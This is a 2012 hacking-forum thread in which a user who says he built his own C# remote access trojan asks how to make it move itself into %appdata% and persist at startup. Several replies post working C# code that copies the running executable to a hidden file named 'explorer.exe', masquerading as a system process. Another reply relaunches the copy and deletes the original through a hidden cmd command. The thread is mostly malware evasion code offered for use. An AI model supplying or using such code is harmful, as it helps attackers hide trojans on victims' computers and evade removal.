

Forum:[Hack Forums](#)

Thread: [File Moving Itself \(And More\)](#)

Daaksin - November 1, 2012, 11:22 pm

So I've put together my own C# RAT and it works. It connects back to me and the like. Now I want to make it melt to %appdata%. When I say melt, I mean on execute it moves itself to the directory and adds a startup key of itself to the registry. Can someone teach me a method of doing this?

Long answers please, with detail, make sure you read my question...

-Daaksin

JeromeMarshall - November 2, 2012, 12:57 am

(Nov 1, 2012 11:22 PM)Daaksin Wrote: [\[CITE\]](#) Long answers please, with detail, make sure you read my question...

This is the long version;

MoveFileEx, with MOVEFILE_REPLACE_EXISTING flag.

n0\$f3ratu\$ - November 2, 2012, 1:33 am

You can do this in three lines, but...

Spoiler [\(Click to View\)](#)PHP Code

```
<?php
private static void Melt()
{
    try {
        string myProc = Process.GetCurrentProcess().MainModule.FileName();
        string patH = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +
        "\\explorer.exe";
        File.Delete(patH);
        File.Move(myProc, patH);
        Process.Start(patH);
        File.SetAttributes(patH, FileAttributes.Hidden);
        ProjectData.EndApp();
    } catch (Exception ex) {
    }
}
```

Daaksin - November 2, 2012, 4:09 am

(Nov 2, 2012 01:33 AM)n0\$f3ratu\$ Wrote: [\[CITE\]](#) You can do this in three lines, but...

Spoiler [\(Click to View\)](#)PHP Code

```
<?php
private static void Melt()
{
    try {
        string myProc = Process.GetCurrentProcess().MainModule.FileName();
```

```

        string pathH = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +
        "\\explorer.exe";
        File.Delete(pathH);
        File.Move(myProc, pathH);
        Process.Start(pathH);
        File.SetAttributes(pathH, FileAttributes.Hidden);
        ProjectData.EndApp();
    } catch (Exception ex) {
    }
}

```

Hey thanks!

Dude, this is exactly what I want! Vouch from Daaksin!

Thanks again, man.

-Daaksin

Birds - November 2, 2012, 5:41 am

Use File.Copy and then write a temp file with current executing path. Run the program you copied to appdata then exit current. Then when the file starts make it read the temp file and delete that file path

Banks? - November 2, 2012, 8:12 am

You know you can just use File.Move to move the current file right?

Daaksin - November 11, 2012, 9:55 pm

(Nov 2, 2012 08:12 AM)Banks? Wrote: [\[CITE\]](#) You know you can just use File.Move to move the current file right?

Uhhmm, no. No you can't.

0xDEAD10CC - November 11, 2012, 11:47 pm

```

Code private void button1_Click(object sender, EventArgs e)
{
    MoveSelf(@"C:\\" + Path.GetFileName(Application.ExecutablePath));
}

private void MoveSelf(string newLocation)
{
    byte[] data;
    using (FileStream FS = new FileStream(Application.ExecutablePath, FileMode.Open,
    FileAccess.Read, FileShare.Read))
    {
        data = new byte[FS.Length];
        FS.Read(data, 0, (int)FS.Length);
    }
    File.WriteAllBytes(newLocation, data);

    ProcessStartInfo procInfo = new ProcessStartInfo("cmd.exe", "/c taskkill /F /PID " +
    Process.GetCurrentProcess().Id + " && ping 127.0.0.1 /n 2 && del /f/q \"" +
    Application.ExecutablePath + "\"");
    procInfo.WindowStyle = ProcessWindowStyle.Hidden;
}

```

```
    Process.Start(procInfo);  
}
```

Daaksin - November 12, 2012, 12:23 am

(Nov 12, 2012 12:47 AM)ArkPhaze Wrote: [CITE](#) Code private void button1_Click(object sender, EventArgs e)

```
{  
    MoveSelf(@"C:\\" + Path.GetFileName(Application.ExecutablePath));  
}  
  
private void MoveSelf(string newLocation)  
{  
    byte[] data;  
    using (FileStream FS = new FileStream(Application.ExecutablePath, FileMode.Open,  
        FileAccess.Read, FileShare.Read))  
    {  
        data = new byte[FS.Length];  
        FS.Read(data, 0, (int)FS.Length);  
    }  
    File.WriteAllBytes(newLocation, data);  
  
    ProcessStartInfo procInfo = new ProcessStartInfo("cmd.exe", "/c taskkill /F /PID " +  
        Process.GetCurrentProcess().Id + " && ping 127.0.0.1 /n 2 && del /f/q \"" +  
        Application.ExecutablePath + "\"");  
    procInfo.WindowStyle = ProcessWindowStyle.Hidden;  
    Process.Start(procInfo);  
}
```

Wow! Hahaha! I wasn't expecting that!

Thanks!

-Daaksin